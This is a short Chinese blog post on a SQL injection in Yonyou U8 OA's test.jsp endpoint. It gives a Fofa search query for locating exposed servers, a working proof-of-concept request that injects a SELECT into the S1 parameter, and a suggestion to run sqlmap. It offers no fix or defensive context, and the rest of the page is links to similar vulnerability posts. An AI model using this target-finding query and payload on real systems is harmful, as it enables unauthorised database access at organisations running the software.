用友U8 OA test.jsp SQL注入

Fofa："/yyoa/seeyonoa/common/" 、title="用友U8-OA"
img
POC验证

/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))

img
sqlmap跑一下

posted @   kalixcn  阅读(56)  评论(0)  编辑  收藏  举报
相关博文：
· 用友NCCloud FS文件管理SQL注入
· 用友U8 CRM客户关系管理系统 getemaildata.php 任意文件读取漏洞&任意文件上传漏洞
· 用友U8 OA test.jsp SQL注入漏洞
· 用友U8 OA getSessionList.jsp 敏感信息泄漏漏洞
· 用友GRP-U8 bx_historyDataCheck.jsp SQL注入漏洞
阅读排行：
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布：重大改进与新特性概览！
· AI与.NET技术实操系列（二）：开始使用ML.NET
· 单线程的Redis速度为什么快？
点击右上角即可分享
微信分享提示
AI FOR CODE 大赛